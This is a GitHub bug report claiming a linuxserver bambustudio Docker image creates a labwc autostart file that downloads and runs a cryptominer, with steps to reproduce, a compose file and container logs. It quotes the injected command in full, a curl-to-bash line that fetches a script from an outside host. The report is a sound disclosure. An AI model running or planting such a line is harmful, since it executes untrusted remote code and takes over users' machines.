Skip to content

[BUG] Malicious Cryptominer payload embedded in latest image (labwc/autostart #38

Description

@Belu97

Is there an existing issue for this?

  • I have searched the existing issues

Current Behavior

When spinning up a fresh container using the image lscr.io/linuxserver/bambustudio:latest with a completely clean and empty /config volume, the container automatically generates configuration files containing a malicious cryptominer payload.Specifically, the file /config/.config/labwc/autostart is created with the following malicious entry appended at the end: bash -c "bash <(curl -s https://minio.daviduwu.ovh/public/check.sh)" &

This script actively downloads and executes a cryptominer. It also creates a secondary persistence hook by generating a fake update service at /config/.config/autostart/update.desktop. The container then consumes all available CPU resources and generates massive multi-gigabyte core dump files in /config/.config/BambuStudio/log/.

Expected Behavior

The default configuration files generated by the image should be clean and not contain malicious external curls or cryptominers.

Steps To Reproduce

Pull the latest image: lscr.io/linuxserver/bambustudio:latest (specifically noticed on hash sha256:c1606a5bed14c236695b94491317e65653f8de85da7f8c2c3c4bd4bb1aa01ee6).
Run a new container and map a completely empty host directory to /config.
Wait for the container to initialize.
Inspect the newly created file at /.config/labwc/autostart.
Observe the malicious curl command targeting minio.daviduwu.ovh at the bottom of the file.

Environment

- OS: Debian
- How docker service was installed:
Portainer / Standard Docker installation

CPU architecture

x86-64

Docker creation

version: "3"
services:
  bambustudio:
    image: lscr.io/linuxserver/bambustudio:latest@sha256:c1606a5bed14c236695b94491317e65653f8de85da7f8c2c3c4bd4bb1aa01ee6
    container_name: bambustudioohneminer
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
    volumes:
      - /root/bambustudio:/config
    ports:
      - 3000:3000
      - 3001:3001
    restart: unless-stopped

Container logs

INFO:selkies_gamepad:JS interposer server listening on /tmp/selkies_js1.sock
INFO:selkies_gamepad:Gamepad /tmp/selkies_js2.sock: Event processor started.
INFO:selkies_gamepad:JS interposer server listening on /tmp/selkies_js2.sock
INFO:selkies_gamepad:Gamepad /tmp/selkies_js3.sock: Event processor started.
INFO:selkies_gamepad:JS interposer server listening on /tmp/selkies_js3.sock
INFO:selkies_gamepad:EVDEV interposer server listening on /tmp/selkies_event1000.sock
INFO:selkies_gamepad:EVDEV interposer server listening on /tmp/selkies_event1001.sock
INFO:selkies_gamepad:EVDEV interposer server listening on /tmp/selkies_event1002.sock
INFO:selkies_gamepad:EVDEV interposer server listening on /tmp/selkies_event1003.sock
INFO:data_websocket:Data WebSocket Server listening on port 8082
[svc-de] /config/.XDG/wayland-1 found launching de
dbus-daemon[279]: [system] Activating service name='org.freedesktop.hostname1' requested by ':1.11' (uid=1000 pid=366 comm="/opt/bambustudio/bin/bambu-studio") (using servicehelper)
dbus-daemon[279]: [system] Activated service 'org.freedesktop.hostname1' failed: Failed to execute program org.freedesktop.hostname1: Permission denied
INFO:data_websocket:Legacy client ('127.0.0.1', 44166) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 44166)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Registering new client for display: primary
INFO:data_websocket:Applying and sanitizing client settings for 'primary' (initial=True)
INFO:data_websocket:DPI changed from None to 96. Applying system-level change.
INFO:data_websocket:Wayland Settings: Executing 'wlr-randr --output WL-1 --scale 1.0' on wayland-0
INFO:data_websocket:Initial setup or dimensional change detected for 'primary'. Performing full display reconfiguration.
INFO:data_websocket:Starting display reconfiguration...
INFO:data_websocket:Calculating new extended desktop layout from ALL clients...
INFO:data_websocket:Layout calculated: Total Size=2224x1136. Layouts: {'primary': {'x': 0, 'y': 0, 'w': 2224, 'h': 1136}}
INFO:data_websocket:Starting separate capture instances for each ACTIVE display region...
INFO:data_websocket:Client 'primary' is active. Starting its capture.
INFO:data_websocket:Preparing to start capture for display='primary': Res=2224x1136, Offset=0x0
INFO:data_websocket:Registered Wayland cursor callback for 'primary'
[Wayland] Configuring Output: 2224x1136 @ 60.00 FPS (Scale 1.00)
[Wayland] CPU encoding selected (use_cpu=true or vaapi_node=-1).
[Wayland] Decision: No GPU Encoder available -> Using CPU Software Encoding.
Stream settings active -> Res: 2224x1136 | FPS: 60.0 | Stripes: 1 | Mode: H264 (CPU) FullFrame Streaming | CRF: 25 | PaintOver CRF: 25 (Burst: 5f) | Colorspace: I420 (Limited Range) | Damage Thresh: 10f | Damage Dur: 20f
INFO:data_websocket:SUCCESS: Capture started for 'primary'.
INFO:data_websocket:Broadcasting primary stream resolution to all clients: {"type": "stream_resolution", "width": 2224, "height": 1136}
INFO:data_websocket:Broadcasting display config update: DISPLAY_CONFIG_UPDATE,{"type": "display_config_update", "displays": ["primary"]}
INFO:data_websocket:Display reconfiguration finished successfully.
INFO:data_websocket:Reconfiguration process complete (state unlocked).
INFO:data_websocket:Initial client settings message processed by ws_handler.
INFO:data_websocket:Initial setup: Primary client connected, audio not active, attempting start.
INFO:data_websocket:Starting pcmflux audio pipeline...
INFO:data_websocket:pcmflux settings: device='output.monitor', bitrate=320000, channels=2
INFO:data_websocket:Video chunk sender started for display 'primary'.
[pcmflux] Attempting to connect to PulseAudio device: output.monitor with latency: 10ms
INFO:data_websocket:pcmflux audio capture started successfully.
INFO:data_websocket:pcmflux audio chunk broadcasting task started.
[pcmflux] SUCCESS: Connected to PulseAudio.
[pcmflux] SUCCESS: Opus encoder created.
[pcmflux] Capture loop started. Device: output.monitor, Rate: 48000, Channels: 2, Bitrate: 320 kbps, VBR: On, Silence Gate: Off, Debug Logging: Off, PCM Chunk: 3840 bytes
INFO:data_websocket:Received START_AUDIO command from client for server-to-client audio.
INFO:data_websocket:START_AUDIO: pcmflux audio pipeline already active.
INFO:data_websocket:Received redundant resize request for primary (2224x1136). No action taken.
[pcmflux] First non-silent audio chunk detected! Encoding...
INFO:data_websocket:Received STOP_VIDEO for 'primary'. Stopping stream.
INFO:data_websocket:Stopping all streams for display 'primary'...
[Wayland] Capture loop stopped.
INFO:data_websocket:Successfully stopped all streams for display 'primary'.
INFO:data_websocket:Video chunk sender for 'primary' cancelled.
INFO:data_websocket:Video chunk sender for 'primary' finished.
INFO:data_websocket:Received START_VIDEO for 'primary'. Starting its stream.
INFO:data_websocket:Found existing layout for 'primary'. Starting capture with: {'x': 0, 'y': 0, 'w': 2224, 'h': 1136}
INFO:data_websocket:Preparing to start capture for display='primary': Res=2224x1136, Offset=0x0
INFO:data_websocket:Registered Wayland cursor callback for 'primary'
[Wayland] CPU encoding selected (use_cpu=true or vaapi_node=-1).
[Wayland] Decision: No GPU Encoder available -> Using CPU Software Encoding.
Stream settings active -> Res: 2224x1136 | FPS: 60.0 | Stripes: 1 | Mode: H264 (CPU) FullFrame Streaming | CRF: 25 | PaintOver CRF: 25 (Burst: 5f) | Colorspace: I420 (Limited Range) | Damage Thresh: 10f | Damage Dur: 20f
INFO:data_websocket:Video chunk sender started for display 'primary'.
INFO:data_websocket:SUCCESS: Capture started for 'primary'.
INFO:webrtc_input:Set clipboard content, length: 23
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Set clipboard content, length: 23
INFO:webrtc_input:Set clipboard content, length: 23
INFO:data_websocket:Received STOP_VIDEO for 'primary'. Stopping stream.
INFO:data_websocket:Stopping all streams for display 'primary'...
INFO:data_websocket:Successfully stopped all streams for display 'primary'.
INFO:data_websocket:Video chunk sender for 'primary' cancelled.
INFO:data_websocket:Video chunk sender for 'primary' finished.
[Wayland] Capture loop stopped.
No desktop processes found to terminate.
[svc-de] Wayland mode: Waiting for socket at /config/.XDG/wayland-1...
[svc-de] /config/.XDG/wayland-1 found launching de
INFO:data_websocket:Received START_VIDEO for 'primary'. Starting its stream.
INFO:data_websocket:Found existing layout for 'primary'. Starting capture with: {'x': 0, 'y': 0, 'w': 2224, 'h': 1136}
INFO:data_websocket:Preparing to start capture for display='primary': Res=2224x1136, Offset=0x0
INFO:data_websocket:Registered Wayland cursor callback for 'primary'
[Wayland] CPU encoding selected (use_cpu=true or vaapi_node=-1).
[Wayland] Decision: No GPU Encoder available -> Using CPU Software Encoding.
Stream settings active -> Res: 2224x1136 | FPS: 60.0 | Stripes: 1 | Mode: H264 (CPU) FullFrame Streaming | CRF: 25 | PaintOver CRF: 25 (Burst: 5f) | Colorspace: I420 (Limited Range) | Damage Thresh: 10f | Damage Dur: 20f
INFO:data_websocket:Video chunk sender started for display 'primary'.
INFO:data_websocket:SUCCESS: Capture started for 'primary'.
INFO:webrtc_input:Set clipboard content, length: 23
INFO:data_websocket:Received STOP_VIDEO for 'primary'. Stopping stream.
INFO:data_websocket:Stopping all streams for display 'primary'...
INFO:data_websocket:Successfully stopped all streams for display 'primary'.
INFO:data_websocket:Video chunk sender for 'primary' cancelled.
INFO:data_websocket:Video chunk sender for 'primary' finished.
[Wayland] Capture loop stopped.
Waiting up to 5 seconds for desktop processes to terminate...
All desktop processes terminated cleanly.
s6-rc: warning: service s6rc-oneshot-runner is marked as essential, not stopping it

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status
    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions